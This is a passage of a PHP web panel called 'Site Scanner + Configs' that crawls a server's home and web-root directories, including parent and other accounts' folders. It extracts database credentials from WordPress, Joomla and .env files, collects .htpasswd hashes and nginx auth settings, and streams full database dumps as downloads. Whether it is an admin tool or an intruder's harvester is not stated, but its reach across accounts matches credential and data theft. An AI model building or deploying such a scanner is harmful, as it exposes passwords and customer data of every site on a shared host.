} function db_credentials_is_complete($creds) { return trim($creds['db_name']) !== '' && trim($creds['db_user']) !== ''; } function db_credentials_from_wp($wp) { $c = db_credentials_empty(); if (!empty($wp['DB_NAME'])) $c['db_name'] = $wp['DB_NAME']; if (!empty($wp['DB_USER'])) $c['db_user'] = $wp['DB_USER']; if (isset($wp['DB_PASSWORD'])) $c['db_pass'] = $wp['DB_PASSWORD']; if (!empty($wp['DB_CHARSET'])) $c['db_charset'] = $wp['DB_CHARSET']; if (!empty($wp['DB_HOST'])) { list($h, $p) = parse_db_host_port($wp['DB_HOST']); $c['db_host'] = $h; if ($p !== null) $c['db_port'] = $p; } return $c; } function db_credentials_from_env($env) { $map = array( 'db_host' => array('DB_HOST', 'DATABASE_HOST', 'MYSQL_HOST', 'DB_HOSTNAME'), 'db_port' => array('DB_PORT', 'DATABASE_PORT', 'MYSQL_PORT'), 'db_name' => array('DB_DATABASE', 'DB_NAME', 'DATABASE_NAME', 'MYSQL_DATABASE'), 'db_user' => array('DB_USERNAME', 'DB_USER', 'DATABASE_USER', 'MYSQL_USER'), 'db_pass' => array('DB_PASSWORD', 'DB_PASS', 'DATABASE_PASSWORD', 'MYSQL_PASSWORD'), 'db_charset' => array('DB_CHARSET', 'DATABASE_CHARSET', 'MYSQL_CHARSET'), ); $c = db_credentials_empty(); foreach ($map as $field => $keys) { foreach ($keys as $key) { if (isset($env[$key]) && $env[$key] !== '') { if ($field === 'db_host') { list($h, $p) = parse_db_host_port($env[$key]); $c['db_host'] = $h; if ($p !== null) $c['db_port'] = $p; } else { $c[$field] = $env[$key]; } break; } } } return $c; } function db_credentials_from_joomla($joo) { $c = db_credentials_empty(); if (!empty($joo['db'])) $c['db_name'] = $joo['db']; if (!empty($joo['user'])) $c['db_user'] = $joo['user']; if (isset($joo['password'])) $c['db_pass'] = $joo['password']; if (!empty($joo['host'])) { list($h, $p) = parse_db_host_port($joo['host']); $c['db_host'] = $h; if ($p !== null) $c['db_port'] = $p; } return $c; } function site_db_credentials_from_parts($env_vars, $wp_vars, $joo_vars) { $creds = db_credentials_empty(); if (!empty($wp_vars)) $creds = merge_db_credentials($creds, db_credentials_from_wp($wp_vars)); if (!empty($env_vars)) $creds = merge_db_credentials($creds, db_credentials_from_env($env_vars)); if (!empty($joo_vars)) $creds = merge_db_credentials($creds, db_credentials_from_joomla($joo_vars)); return db_credentials_is_complete($creds) ? $creds : null; } function parse_db_config_snippet($text) { $text = (string) $text; if (trim($text) === '') return db_credentials_empty(); $aliases = array( 'db_host' => array('DB_HOST', 'DB_HOSTNAME', 'DATABASE_HOST', 'MYSQL_HOST', 'host', 'hostname'), 'db_port' => array('DB_PORT', 'DATABASE_PORT', 'MYSQL_PORT', 'port'), 'db_name' => array('DB_NAME', 'DB_DATABASE', 'DATABASE_NAME', 'MYSQL_DATABASE', 'db', 'database', 'dbname'), 'db_user' => array('DB_USER', 'DB_USERNAME', 'DATABASE_USER', 'MYSQL_USER', 'user', 'username'), 'db_pass' => array('DB_PASSWORD', 'DB_PASS', 'DATABASE_PASSWORD', 'MYSQL_PASSWORD', 'password', 'passwd'), 'db_charset' => array('DB_CHARSET', 'DATABASE_CHARSET', 'MYSQL_CHARSET', 'charset'), ); $found = db_credentials_empty(); foreach ($aliases as $field => $keys) { foreach ($keys as $key) { $val = null; $qk = preg_quote($key, '/'); if (preg_match("/define\s*\(\s*['\"]".$qk."['\"]\s*,\s*['\"]([^'\"]*)['\"]\s*\)/i", $text, $m)) { $val = $m[1]; } elseif (preg_match("/\\\$".$qk."\\s*=\\s*['\"]([^'\"]*)['\"]/i", $text, $m)) { $val = $m[1]; } elseif (preg_match("/public\\s+\\\$".$qk."\\s*=\\s*['\"]([^'\"]*)['\"]/i", $text, $m)) { $val = $m[1]; } elseif (preg_match("/['\"]".$qk."['\"]\\s*=>\\s*['\"]([^'\"]*)['\"]/i", $text, $m)) { $val = $m[1]; } elseif (preg_match("/^\\s*".$qk."\\s*=\\s*['\"]?([^'\"\\s#;]+)['\"]?/im", $text, $m)) { $val = trim($m[1], "\"'"); } elseif (preg_match("/^\\s*".$qk."\\s*=\\s*['\"]([^'\"]*)['\"]/im", $text, $m)) { $val = $m[1]; } if ($val !== null) { if ($field === 'db_host') { list($h, $p) = parse_db_host_port($val); $found['db_host'] = $h; if ($p !== null) $found['db_port'] = $p; } else { $found[$field] = $val; } break; } } } return $found; } function dump_input_from_post() { return array( 'db_host' => isset($_POST['db_host']) ? trim($_POST['db_host']) : '127.0.0.1', 'db_port' => isset($_POST['db_port']) ? trim($_POST['db_port']) : '3306', 'db_name' => isset($_POST['db_name']) ? trim($_POST['db_name']) : '', 'db_user' => isset($_POST['db_user']) ? trim($_POST['db_user']) : '', 'db_pass' => isset($_POST['db_pass']) ? (string) $_POST['db_pass'] : '', 'db_charset' => isset($_POST['db_charset']) ? trim($_POST['db_charset']) : 'utf8mb4', 'site_url' => isset($_POST['site_url']) ? trim($_POST['site_url']) : '', 'cms' => isset($_POST['cms']) ? trim($_POST['cms']) : '', 'notes' => isset($_POST['notes']) ? trim($_POST['notes']) : '', 'site_name' => isset($_POST['site_name']) ? trim($_POST['site_name']) : '', ); } function dump_database_stream($in) { if (!class_exists('mysqli')) { throw new Exception('Расширение mysqli недоступно на сервере'); } if (!function_exists('deflate_init')) { throw new Exception('Требуется zlib (deflate_init) для .sql.gz'); } foreach (array('db_host', 'db_port', 'db_name', 'db_user') as $req) { if (trim($in[$req]) === '') { throw new Exception('Не заполнено поле: ' . $req); } } mysqli_report(MYSQLI_REPORT_OFF); $db = mysqli_init(); if ($db === false) throw new Exception('Не удалось инициализировать mysqli'); $connected = $db->real_connect( $in['db_host'], $in['db_user'], $in['db_pass'], $in['db_name'], (int) $in['db_port'] ); if ($connected !== true) { throw new Exception('Подключение к БД не удалось: ' . mysqli_connect_error()); } $charset = $in['db_charset'] !== '' ? $in['db_charset'] : 'utf8mb4'; if (!$db->set_charset($charset)) { throw new Exception('Не удалось установить charset: ' . $db->error); } $tableList = $db->query('SHOW FULL TABLES WHERE Table_type = "BASE TABLE"'); if ($tableList === false) throw new Exception('Не удалось получить список таблиц: ' . $db->error); $tables = array(); while ($row = $tableList->fetch_row()) $tables[] = (string) $row[0]; $tableList->free(); $label = $in['site_url']; if ($label === '' && !empty($in['site_name'])) $label = $in['site_name']; $siteHost = parse_url($label, PHP_URL_HOST); if (!is_string($siteHost) || $siteHost === '') { $siteHost = $label !== '' ? $label : $in['db_name']; } $fileBase = db_sanitize_file_part($siteHost) . '_' . db_sanitize_file_part($in['db_name']); $fileName = $fileBase . '_' . gmdate('Ymd-His') . 'Z.sql.gz'; header('Content-Type: application/gzip'); header('Content-Disposition: attachment; filename="' . $fileName . '"'); header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0'); header('Pragma: no-cache'); $out = fopen('php://output', 'wb'); if ($out === false) throw new Exception('Не удалось открыть поток вывода'); $zip = deflate_init(ZLIB_ENCODING_GZIP, array('level' => 9)); if ($zip === false) throw new Exception('Не удалось инициализировать gzip'); $write = function ($line) use ($out, $zip) { $chunk = deflate_add($zip, $line, ZLIB_NO_FLUSH); if ($chunk === false) throw new Exception('Ошибка записи в gzip'); fwrite($out, $chunk); }; $write("-- Dump generated at " . gmdate('c') . "\n"); if ($in['site_url'] !== '') $write("-- Site URL: " . $in['site_url'] . "\n"); if ($in['site_name'] !== '') $write("-- Site: " . $in['site_name'] . "\n"); if ($in['cms'] !== '') $write("-- CMS: " . str_replace(array("\r", "\n"), ' ', $in['cms']) . "\n"); if ($in['notes'] !== '') $write("-- Notes: " . str_replace(array("\r", "\n"), ' ', $in['notes']) . "\n"); $write("-- Database: " . $in['db_name'] . "\n\n"); $write("SET NAMES " . $charset . ";\n"); $write("SET FOREIGN_KEY_CHECKS=0;\n\n"); foreach ($tables as $table) { $tableIdent = db_esc_ident($table); $write("-- ----------------------------\n"); $write("-- Structure for " . $tableIdent . "\n"); $write("-- ----------------------------\n"); $write("DROP TABLE IF EXISTS " . $tableIdent . ";\n"); $createRes = $db->query('SHOW CREATE TABLE ' . $tableIdent); if ($createRes === false) throw new Exception('SHOW CREATE TABLE ' . $table . ': ' . $db->error); $createRow = $createRes->fetch_assoc(); if (!isset($createRow['Create Table'])) throw new Exception('Некорректный ответ SHOW CREATE TABLE: ' . $table); $write($createRow['Create Table'] . ";\n\n"); $createRes->free(); $write("-- ----------------------------\n"); $write("-- Data for " . $tableIdent . "\n"); $write("-- ----------------------------\n"); $rowsRes = $db->query('SELECT * FROM ' . $tableIdent, MYSQLI_USE_RESULT); if ($rowsRes === false) throw new Exception('SELECT * FROM ' . $table . ': ' . $db->error); while ($row = $rowsRes->fetch_assoc()) { $cols = array(); $vals = array(); foreach ($row as $col => $val) { $cols[] = db_esc_ident((string) $col); $vals[] = $val === null ? 'NULL' : "'" . $db->real_escape_string((string) $val) . "'"; } $write('INSERT INTO ' . $tableIdent . ' (' . implode(', ', $cols) . ') VALUES (' . implode(', ', $vals) . ");\n"); } $rowsRes->free(); $write("\n"); } $write("SET FOREIGN_KEY_CHECKS=1;\n"); $finalChunk = deflate_add($zip, '', ZLIB_FINISH); if ($finalChunk === false) throw new Exception('Не удалось завершить gzip'); fwrite($out, $finalChunk); fflush($out); fclose($out); $db->close(); exit; } if (isset($_POST['action']) && $_POST['action'] === 'parse_db_config') { up_to_safe_header('application/json; charset=UTF-8'); $snippet = isset($_POST['config_snippet']) ? (string) $_POST['config_snippet'] : ''; $parsed = parse_db_config_snippet($snippet); echo json_encode(array( 'success' => true, 'fields' => $parsed, 'complete' => db_credentials_is_complete($parsed), )); exit; } if (isset($_POST['action']) && $_POST['action'] === 'save_site_db_creds') { up_to_safe_header('application/json; charset=UTF-8'); $site_path = isset($_POST['site_path']) ? trim($_POST['site_path']) : ''; if (!$site_path || !@is_dir($site_path)) { echo json_encode(array('success' => false, 'error' => 'Некорректный путь сайта')); exit; } $creds = null; if (!empty($_POST['config_snippet'])) { $creds = parse_db_config_snippet((string) $_POST['config_snippet']); } elseif (!empty($_POST['db_creds']) && is_string($_POST['db_creds'])) { $decoded = json_decode($_POST['db_creds'], true); if (is_array($decoded)) $creds = merge_db_credentials(db_credentials_empty(), $decoded); } if (!$creds || !db_credentials_is_complete($creds)) { echo json_encode(array('success' => false, 'error' => 'Не удалось распознать db_name и db_user')); exit; } $site_name = isset($_POST['site_name']) ? trim($_POST['site_name']) : ''; $states = load_site_states(); $key = site_state_key($site_path, $site_name); if ($key === '') { echo json_encode(array('success' => false, 'error' => 'Не удалось определить ключ сайта')); exit; } site_state_touch_entry($states, $key, $site_path, $site_name); $states[$key]['db_creds'] = $creds; $states[$key]['updated'] = gmdate('c'); if (!save_site_states($states)) { echo json_encode(array('success' => false, 'error' => 'Не удалось сохранить данные (проверьте права на запись: ' . site_state_file_path() . ')')); exit; } echo json_encode(array('success' => true, 'fields' => $creds)); exit; } if (isset($_POST['action']) && $_POST['action'] === 'save_site_statuses') { up_to_safe_header('application/json; charset=UTF-8'); $raw = isset($_POST['statuses']) ? (string) $_POST['statuses'] : ''; $decoded = json_decode($raw, true); if (!is_array($decoded)) { echo json_encode(array('success' => false, 'error' => 'Некорректные данные статусов')); exit; } $current = load_site_statuses(); foreach ($decoded as $key => $status) { $key = trim((string) $key); if ($key === '') continue; if (site_status_allowed((string) $status)) { $current[$key] = (string) $status; } } if (!save_site_statuses_map($current)) { echo json_encode(array( 'success' => false, 'error' => 'Не удалось записать файл статусов: ' . site_status_file_path(), )); exit; } echo json_encode(array( 'success' => true, 'count' => count($current), 'status_file'=> site_status_file_path(), )); exit; } if (isset($_POST['action']) && $_POST['action'] === 'dump_database') { try { dump_database_stream(dump_input_from_post()); } catch (Exception $e) { up_to_safe_header('application/json; charset=UTF-8'); echo json_encode(array('success' => false, 'error' => $e->getMessage())); exit; } } // === Определение директории сканирования === $current_dir = realpath(up_to_wp_runtime_base_dir()); $doc_root_raw = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : ''; $root_dir = $doc_root_raw ? (realpath($doc_root_raw) ?: $doc_root_raw) : $current_dir; function dir_is_readable($path) { if (!$path || !@is_dir($path)) return false; return @scandir($path) !== false; } function find_public_html_in_path($start) { if (!$start) return null; $parts = explode('/', str_replace('\\', '/', trim($start, '/'))); $path = ''; $markers = array('public_html', 'httpdocs', 'htdocs', 'www', 'web', 'html'); foreach ($parts as $part) { if ($part === '') continue; $path .= '/' . $part; if (in_array(strtolower($part), $markers, true)) return $path; } return null; } function find_account_paths($current_dir, $root_dir) { $paths = array('account' => null, 'user_home' => null, 'public_html' => null); foreach (array($current_dir, $root_dir) as $start) { if (!$start) continue; if (preg_match('#^(/home/[^/]+)/([^/]+)#', $start, $m)) { if (!$paths['user_home']) $paths['user_home'] = $m[1]; if (!$paths['account']) $paths['account'] = $m[1] . '/' . $m[2]; } $pub = find_public_html_in_path($start); if ($pub && !$paths['public_html']) $paths['public_html'] = $pub; } return $paths; } function path_is_deep_subfolder($path) { return (bool) preg_match('#/(wp-content|themes|plugins|mu-plugins|dist|vendor|node_modules|cache|uploads)(/|$)#i', $path); } function collect_scan_dir_candidates($current_dir, $root_dir) { $candidates = array(); $account = find_account_paths($current_dir, $root_dir); if (!empty($_GET['scan_dir'])) { $manual = $_GET['scan_dir']; $candidates[] = realpath($manual) ?: $manual; } if (!empty($account['public_html'])) { $candidates[] = $account['public_html']; } if (!empty($account['account'])) { $candidates[] = $account['account']; $candidates[] = $account['account'] . '/domains'; $candidates[] = $account['account'] . '/public_html'; } if (!empty($account['user_home'])) { $candidates[] = $account['user_home']; } if ($root_dir) { $candidates[] = $root_dir; $parent = dirname($root_dir); if ($parent && $parent !== $root_dir) { $candidates[] = $parent; } $pub = find_public_html_in_path($root_dir); if ($pub) $candidates[] = $pub; } foreach (array($current_dir, $root_dir) as $start) { if (!$start) continue; for ($dir = $start, $i = 0; $i < 24 && $dir; $i++) { $candidates[] = $dir; if (in_array(strtolower(basename($dir)), array('public_html', 'httpdocs', 'htdocs', 'www'), true)) { $parent = dirname($dir); if ($parent && $parent !== $dir) { $candidates[] = $parent; $candidates[] = $parent . '/domains'; } } $parent = dirname($dir); if (!$parent || $parent === $dir) break; $dir = $parent; } } $candidates[] = '/home'; $unique = array(); foreach ($candidates as $path) { if (!$path) continue; $real = @realpath($path); $key = $real ?: $path; if (!isset($unique[$key])) $unique[$key] = $key; } return array_values($unique); } function score_scan_candidate($dir) { if (!dir_is_readable($dir)) return -1; $score = 0; $base = strtolower(basename($dir)); if ($base === 'public_html') $score += 120; if ($base === 'domains') $score += 100; if (preg_match('/^serwer\d+$/i', $base)) $score += 80; if ($base === 'platne' || $base === 'home') $score += 40; if (path_is_deep_subfolder($dir)) $score -= 80; $items = @scandir($dir); if ($items === false) return -1; $site_subdirs = 0; $skip = array('cgi-bin','lost+found','.well-known','tmp','cache','logs','.git','node_modules','vendor_backup'); foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $dir . '/' . $item; if (!@is_dir($full)) continue; if (in_array(strtolower($item), $skip, true)) continue; if (dir_looks_like_site($full)) $site_subdirs++; } $score += $site_subdirs * 15; if ($site_subdirs === 0 && dir_looks_like_site($dir)) $score += 12; return $score; } function resolve_scan_roots($current_dir, $root_dir) { if (!empty($_GET['scan_dir'])) { $manual = $_GET['scan_dir']; $path = realpath($manual) ?: $manual; return array($path); } $candidates = collect_scan_dir_candidates($current_dir, $root_dir); $scored = array(); foreach ($candidates as $path) { $s = score_scan_candidate($path); if ($s >= 0) $scored[] = array('path' => $path, 'score' => $s); } usort($scored, function($a, $b) { if ($a['score'] !== $b['score']) return $b['score'] - $a['score']; return strlen($a['path']) - strlen($b['path']); }); $account = find_account_paths($current_dir, $root_dir); $forced = array(); if (!empty($account['public_html'])) $forced[] = $account['public_html']; if (!empty($account['account'])) { $forced[] = $account['account']; $forced[] = $account['account'] . '/domains'; } if (!empty($account['user_home'])) $forced[] = $account['user_home']; if ($root_dir) $forced[] = $root_dir; $roots = $forced; $min_score = 5; foreach ($scored as $row) { if ($row['score'] < $min_score) continue; $roots[] = $row['path']; } if (count($roots) < 3) { foreach ($scored as $row) { $roots[] = $row['path']; } } $unique = array(); $readable = array(); foreach ($roots as $r) { if (!$r) continue; $key = @realpath($r) ?: $r; if (isset($unique[$key])) continue; $unique[$key] = true; if (dir_is_readable($r)) $readable[] = $r; } return array_slice($readable, 0, 10); } $scan_dir_tried = collect_scan_dir_candidates($current_dir, $root_dir); $scan_roots = resolve_scan_roots($current_dir, $root_dir); $scan_dir = !empty($scan_roots) ? $scan_roots[0] : ($root_dir ?: $current_dir); // === Парсеры конфигов === function parse_env($path) { if (!@file_exists($path)) return array(); $lines = @file($path, FILE_IGNORE_NEW_LINES|FILE_SKIP_EMPTY_LINES); if (!$lines) return array(); $vars = array(); foreach ($lines as $line) { $line = trim($line); if ($line===''||$line[0]==='#') continue; if (strpos($line,'=')!==false) { list($k,$v)=explode('=',$line,2); $vars[trim($k)]=trim(trim($v),"\"'"); } } return $vars; } function parse_wp_config($path) { if (!@file_exists($path)) return array(); $content = @file_get_contents($path); if (!$content) return array(); $vars = array(); foreach (array('DB_NAME','DB_USER','DB_PASSWORD','DB_HOST','DB_CHARSET','DB_COLLATE') as $k) { if (preg_match("/define\s*\(\s*['\"]".$k."['\"]\s*,\s*['\"]([^'\"]*)['\"]\s*\)/i", $content, $m)) $vars[$k] = $m[1]; } if (preg_match('/\$table_prefix\s*=\s*\'([^\']+)\'/',$content,$m)) $vars['table_prefix']=$m[1]; return $vars; } function parse_joomla_config($path) { if (!@file_exists($path)) return array(); $content = @file_get_contents($path); if (!$content) return array(); $vars = array(); foreach (array('db','host','user','password','dbprefix','log_path','tmp_path') as $k) if (preg_match("/public\s+\$$k\s*=\s*'([^']*)'/", $content, $m)) $vars[$k]=$m[1]; return $vars; } function parse_htaccess($path) { if (!@file_exists($path)) return array(); $content = @file_get_contents($path); if (!$content) return array(); $result = array(); if (preg_match('/AuthType\s+Basic/i',$content)) $result['auth_type']='Basic'; if (preg_match('/AuthName\s+"([^"]+)"/i',$content,$m)) $result['auth_name']=$m[1]; elseif (preg_match("/AuthName\s+'([^']+)'/i",$content,$m)) $result['auth_name']=$m[1]; if (preg_match('/AuthUserFile\s+(\S+)/i',$content,$m)) $result['htpasswd_path']=$m[1]; $protected=array(); if (preg_match_all('/<Files\s+([^>]+)>/i',$content,$matches)) $protected=$matches[1]; if (preg_match('/require\s+valid-user/i',$content)&&empty($protected)) $protected[]='* (весь сайт)'; if (!empty($protected)) $result['protected_files']=implode(', ',$protected); return $result; } function parse_htpasswd($path) { if (!$path||!@file_exists($path)) return array(); $lines = @file($path, FILE_IGNORE_NEW_LINES|FILE_SKIP_EMPTY_LINES); if (!$lines) return array(); $users = array(); foreach ($lines as $line) { $line=trim($line); if ($line===''||$line[0]==='#') continue; if (strpos($line,':')!==false) { list($u,$h)=explode(':',$line,2); $users[]=array('user'=>trim($u),'hash'=>trim($h)); } } return $users; } function find_nginx_config($site_name) { $paths = array('/etc/nginx/sites-enabled/'.$site_name,'/etc/nginx/sites-available/'.$site_name, '/etc/nginx/conf.d/'.$site_name.'.conf','/usr/local/nginx/conf/vhosts/'.$site_name.'.conf'); foreach ($paths as $p) if (@file_exists($p)) return $p; foreach (array('/etc/nginx/sites-enabled','/etc/nginx/sites-available','/etc/nginx/conf.d') as $d) { if (!@is_dir($d)) continue; $files=@scandir($d); if (!$files) continue; foreach ($files as $f) { if ($f==='.'||$f==='..') continue; $fp=$d.'/'.$f; if (!@is_file($fp)) continue; $c=@file_get_contents($fp); if ($c&&stripos($c,$site_name)!==false) return $fp; } } return null; } function parse_nginx_config($path) { if (!$path||!@file_exists($path)) return array(); $content=@file_get_contents($path); if (!$content) return array(); $result=array('config_file'=>$path); if (preg_match('/auth_basic\s+"([^"]+)"/i',$content,$m)) $result['auth_basic']=$m[1]; elseif (preg_match('/auth_basic\s+(\S+)/i',$content,$m)&&$m[1]!=='off') $result['auth_basic']=$m[1]; if (preg_match('/auth_basic_user_file\s+(\S+);/i',$content,$m)) $result['auth_basic_user_file']=$m[1]; if (preg_match('/server_name\s+([^;]+);/i',$content,$m)) $result['server_name']=trim($m[1]); return $result; } function detect_cms($dir) { $markers = array( 'WordPress' => array('wp-config.php','wp-login.php','wp-admin'), 'WordPress (no config)'=> array('wp-login.php','wp-admin'), 'Joomla' => array('configuration.php','administrator'), 'Joomla (no config)' => array('administrator'), 'Laravel' => array('artisan','bootstrap/app.php'), 'Opencart' => array('config.php','admin/config.php'), 'Drupal' => array('sites/default/settings.php'), 'Magento' => array('app/etc/env.php'), 'PrestaShop' => array('config/settings.inc.php'), 'Symfony' => array('symfony.lock','bin/console'), 'Yii2' => array('yii','config/web.php'), 'Unknown (has .env)' => array('.env'), 'Static / Unknown' => array('index.php','index.html'), ); $found=array(); foreach ($markers as $cms=>$files) foreach ($files as $file) if (@file_exists($dir.'/'.$file)) { $found[$cms]=true; break; } foreach (array('WordPress','Joomla','Laravel','Opencart','Drupal','Magento','PrestaShop','Symfony','Yii2') as $cms) if (isset($found[$cms])) return $cms; if (isset($found['WordPress (no config)'])) return 'WordPress (no config)'; if (isset($found['Joomla (no config)'])) return 'Joomla (no config)'; if (isset($found['Unknown (has .env)'])) return 'Unknown (has .env)'; if (isset($found['Static / Unknown'])) return 'Static / Unknown'; return 'Empty / Not a site'; } function build_site_entry($name, $full) { $cms=detect_cms($full); $env_vars=parse_env($full.'/.env'); $wp_vars=parse_wp_config($full.'/wp-config.php'); $joo_vars=parse_joomla_config($full.'/configuration.php'); $htaccess=parse_htaccess($full.'/.htaccess'); $htpasswd_users=array(); $htpasswd_file=''; if (!empty($htaccess['htpasswd_path'])) { $htpasswd_file=$htaccess['htpasswd_path']; $htpasswd_users=parse_htpasswd($htpasswd_file); } if (empty($htpasswd_users)) { $htpasswd_file=$full.'/.htpasswd'; $htpasswd_users=parse_htpasswd($htpasswd_file); } $nginx_path=find_nginx_config($name); $nginx_vars=parse_nginx_config($nginx_path); $domain_hint=''; $htaccess_raw=@file_get_contents($full.'/.htaccess'); if ($htaccess_raw&&preg_match('/#\s*(?:домен|domain|site|сайт)\s*[:=]?\s*([^\s]+)/iu',$htaccess_raw,$m)) $domain_hint=$m[1]; $db_creds = site_db_credentials_from_parts($env_vars, $wp_vars, $joo_vars); return array('name'=>$name,'path'=>$full,'cms'=>$cms, 'has_env'=>!empty($env_vars),'has_wp_config'=>!empty($wp_vars),'has_joomla_config'=>!empty($joo_vars), 'has_db_creds'=>!empty($db_creds),'db_creds'=>$db_creds, 'has_index'=>@file_exists($full.'/index.php'), 'env_vars'=>$env_vars,'wp_vars'=>$wp_vars,'joo_vars'=>$joo_vars, 'htaccess_vars'=>$htaccess,'htpasswd_users'=>$htpasswd_users,'htpasswd_file'=>$htpasswd_file, 'nginx_vars'=>$nginx_vars,'domain_hint'=>$domain_hint); } function dir_looks_like_site($dir) { $markers = array('wp-config.php','configuration.php','.env','index.php','artisan','wp-login.php'); foreach ($markers as $file) { if (@file_exists($dir.'/'.$file)) return true; } return detect_cms($dir) !== 'Empty / Not a site'; } function scan_sites($dir) { $sites=array(); $items=@scandir($dir); if ($items===false) return array('error'=>'Cannot read: '.$dir); $skip=array('cgi-bin','lost+found','.well-known','tmp','cache','logs','.git','node_modules','vendor_backup'); foreach ($items as $item) { if ($item==='.'||$item==='..') continue; $full=$dir.'/'.$item; if (!@is_dir($full)) continue; if (in_array(strtolower($item),$skip,true)) continue; $sites[]=build_site_entry($item, $full); } if (empty($sites) && dir_looks_like_site($dir)) { $sites[]=build_site_entry(basename($dir) ?: 'site', $dir); } usort($sites,function($a,$b){ $o=array('WordPress'=>1,'Joomla'=>2,'Laravel'=>3,'Opencart'=>4,'Drupal'=>5,'Magento'=>6,'PrestaShop'=>7,'Symfony'=>8,'Yii2'=>9); $ar=isset($o[$a['cms']])?$o[$a['cms']]:99; $br=isset($o[$b['cms']])?$o[$b['cms']]:99; return $ar!==$br?$ar-$br:strcmp($a['name'],$b['name']); }); return $sites; } function scan_sites_from_roots($roots) { $by_path = array(); $scan_log = array(); $errors = array(); foreach ($roots as $root) { $result = scan_sites($root); if (isset($result['error'])) { $errors[] = $result['error']; $scan_log[] = array('path' => $root, 'ok' => false, 'count' => 0, 'error' => $result['error']); continue; } $added = 0; foreach ($result as $site) { $key = @realpath($site['path']) ?: $site['path']; if (!isset($by_path[$key])) { $site['scan_root'] = $root; $by_path[$key] = $site; $added++; } } $scan_log[] = array('path' => $root, 'ok' => true, 'count' => count($result), 'added' => $added); } $sites = array_values($by_path); usort($sites, function($a, $b) { $o=array('WordPress'=>1,'Joomla'=>2,'Laravel'=>3,'Opencart'=>4,'Drupal'=>5,'Magento'=>6,'PrestaShop'=>7,'Symfony'=>8,'Yii2'=>9); $ar=isset($o[$a['cms']])?$o[$a['cms']]:99; $br=isset($o[$b['cms']])?$o[$b['cms']]:99; return $ar!==$br?$ar-$br:strcmp($a['name'], $b['name']); }); if (empty($sites) && !empty($errors)) { return array('error' => implode('; ', $errors), 'scan_log' => $scan_log); } return array('sites' => $sites, 'scan_log' => $scan_log); } if (!app_is_authenticated()) { app_render_login_page(); } $scan_result = scan_sites_from_roots($scan_roots); if (isset($scan_result['error']) && empty($scan_result['sites'])) { $tried_html = ''; if (!empty($scan_dir_tried)) { $parts = array(); foreach ($scan_dir_tried as $p) { $s = score_scan_candidate($p); $parts[] = h($p) . (dir_is_readable($p) ? ' ✔' : ' ✘') . ($s >= 0 ? ' (score '.$s.')' : ''); } $tried_html = '<p style="font-size:12px;margin-top:8px;">Проверенные пути:<br>' . implode('<br>', $parts) . '</p>'; } $hint = '<p style="font-size:12px;">Укажите папку вручную: <code>?scan_dir=/полный/путь</code></p>'; die('<div style="color:#c62828;font-family:sans-serif;margin:20px;"><p><strong>Ошибка:</strong> '.h($scan_result['error']).'</p>' .'<p style="font-size:12px;">Скрипт: <code>'.h($current_dir).'</code><br>' .'DOCUMENT_ROOT: <code>'.h($root_dir).'</code></p>' .$tried_html.$hint.'</div>'); } $sites = isset($scan_result['sites']) ? $scan_result['sites'] : array(); $scan_log = isset($scan_result['scan_log']) ? $scan_result['scan_log'] : array(); $_site_states = load_site_states(); $_site_status_name_counts = array(); foreach ($sites as $_s) { $n = $_s['name']; $_site_status_name_counts[$n] = isset($_site_status_name_counts[$n]) ? $_site_status_name_counts[$n] + 1 : 1; } $_site_statuses = load_site_statuses(); foreach ($sites as &$_site_ref) { merge_site_saved_state($_site_ref, $_site_states); merge_site_status($_site_ref, $_site_statuses, $_site_status_name_counts); } unset($_site_ref); $with_status_off = 0; foreach ($sites as $_s) { if (isset($_s['status']) && $_s['status'] === 'off') $with_status_off++; } $total=$with_env=$with_wp=$with_joo=$with_htauth=$with_db=$empty=0; $total=count($sites); $sites_db_dump_list = array(); foreach ($sites as $s) { if ($s['has_env']) $with_env++; if ($s['has_wp_config']) $with_wp++; if ($s['has_joomla_config']) $with_joo++; if (!empty($s['has_db_creds'])) { $with_db++; $sites_db_dump_list[] = array( 'name' => $s['name'], 'path' => $s['path'], 'cms' => $s['cms'], 'site_url' => !empty($s['domain_hint']) ? $s['domain_hint'] : $s['name'], 'db_creds' => $s['db_creds'], ); } if (!empty($s['htaccess_vars']['auth_type'])) $with_htauth++; if ($s['cms']==='Empty / Not a site') $empty++; } function cms_badge($cms) { if (strpos($cms,'WordPress')===0) return 'badge-wp'; if (strpos($cms,'Joomla')===0) return 'badge-joo'; if (strpos($cms,'Laravel')===0) return 'badge-lar'; if (strpos($cms,'Opencart')===0) return 'badge-oc'; if ($cms==='Empty / Not a site') return 'badge-empty'; return 'badge-other'; } ?> <!doctype html> <html lang="ru"> <head> <meta charset="UTF-8"> <title>Site Scanner + Configs</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <style> * { box-sizing: border-box; } body { font-family: 'Segoe UI', Arial, sans-serif; margin: 20px; color: #222; background: #fafafa; } h1 { margin: 0 0 10px; } h3 { margin: 30px 0 10px; border-bottom: 2px solid #1565c0; padding-bottom: 5px; } .stats { display: flex; gap: 15px; flex-wrap: wrap; margin: 15px 0; } .stat-card { background: #fff; border: 1px solid #e0e0e0; border-radius: 8px; padding: 10px 16px; min-width: 100px; } .stat-card .num { font-size: 24px; font-weight: bold; color: #1565c0; } .stat-card .lbl { font-size: 12px; color: #666; } table { border-collapse: collapse; width: 100%; background: #fff; border-radius: 8px; overflow: hidden; box-shadow: 0 1px 3px rgba(0,0,0,.1); margin-bottom: 10px; } th, td { border: 1px solid #e0e0e0; padding: 6px 10px; vertical-align: top; font-size: 12px; } th { background: #f5f5f5; font-weight: 600; text-align: left; } tr:hover { background: #fafafa; } .badge { display: inline-block; padding: 2px 7px; border-radius: 4px; font-size: 11px; font-weight: 600; } .badge-wp { background: #e3f2fd; color: #1565c0; } .badge-joo { background: #fff3e0; color: #e65100; } .badge-lar { background: #fce4ec; color: #880e4f; } .badge-oc { background: #e8f5e9; color: #2e7d32; } .badge-other { background: #f3e5f5; color: #6a1b9a; } .badge-empty { background: #f5f5f5; color: #999; } .yes { color: #2e7d32; font-weight: bold; } .no { color: #ccc; } .path { font-size: 11px; color: #666; word-break: break-all; } code { background: #f0f0f0; padding: 1px 4px; border-radius: 3px; font-size: 11px; } .config-block { background: #fff; border: 1px solid #e0e0e0; border-radius: 8px; padding: 12px 16px; margin-bottom: 15px; } .config-block h4 { margin: 0 0 8px; } .config-table { width: auto; min-width: 400px; } .config-table td:first-child { font-weight: 600; color: #555; white-space: nowrap; } .password { color: #c62828; } .info-box { background: #e1f5fe; border: 1px solid #81d4fa; border-radius: 8px; padding: 10px 14px; 